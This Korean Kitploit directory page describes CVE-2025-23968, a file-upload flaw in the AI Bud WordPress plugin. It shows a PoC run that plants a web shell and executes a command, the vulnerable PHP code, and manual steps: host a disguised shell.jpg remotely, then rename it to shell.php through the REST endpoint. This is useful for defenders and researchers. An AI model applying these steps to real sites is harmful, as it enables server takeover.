Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-23968 — AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4에서의 임의 파일 업로드 취약점 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-23968
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2025-23968

CVE-2025-23968

AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4에서의 임의 파일 업로드 취약점

저장소 보기
1110개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

AI Bud – AI 콘텐츠 생성기, AI 챗봇, ChatGPT, Gemini, GPT-4o

AI Bud 플러그인은 REST API 엔드포인트 /wp-json/ai-buddy/v1/wp/attachments를 노출하여 WordPress 미디어 라이브러리에 파일을 업로드할 수 있게 합니다. 이 엔드포인트의 파일 로직에는 파일 형식 검증 후에 실행되는 파일 이름 변경 기능이 포함되어 있어, 공격자가 업로드된 파일의 확장자를 (including.php) 어떤 확장자로든 변경할 수 있습니다. 이를 통해 관리자 이상의 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드를 실행할 수 있습니다.

TL;DR 익스플로잇

관리자가 shell.php라는 웹 셸을 업로드하는 것을 보여주는 POC cve-2025-23968.py가 제공됩니다.

root@kitploit:~
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>

세부 사항

플러그인은 REST API 경로를 /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php에 등록합니다.

250-284행은 /wp/attachments 엔드포인트에 대한 REST 경로를 등록합니다. 콜백 함수는 create_attachment로 정의됩니다:

root@kitploit:~
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

create_attachment 함수는 709행에 정의되어 있으며, 이름 변경 로직은 744행에서 시작됩니다. 아래 코드 조각에서 볼 수 있듯이, $filename 매개변수가 지정되면 기존 첨부 파일의 이름을 변경하는 데 사용될 수 있습니다 (살균되지 않음):

root@kitploit:~
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

수동 재현

.php 이름 변경 공격

  1. 공격자는 shell.jpg라는 파일을 준비합니다 (예제 참조).
    1. 파일에는 jpg의 magic bits가 포함되어 있습니다: FF D8 FF E0.
    2. 파일의 확장자는 .jpg입니다.
    3. 파일에는 웹 셸용 PHP 코드가 포함되어 있습니다.
  2. 공격자는 shell.jpg 파일을 자신이 제어하는 서버 (예: Github)에 호스팅합니다.
  3. 공격자는 다음 데이터와 함께 POST 요청을 /wp-json/ai-buddy/v1/wp/attachments로 보냅니다:
    1. url: shell.jpg의 URL
    2. filename: shell.php
  4. 공격자는 /wp-content/uploads/YEAR/MONTH/shell.php에 접근하여 임의의 PHP 코드를 실행합니다.
도구 다운로드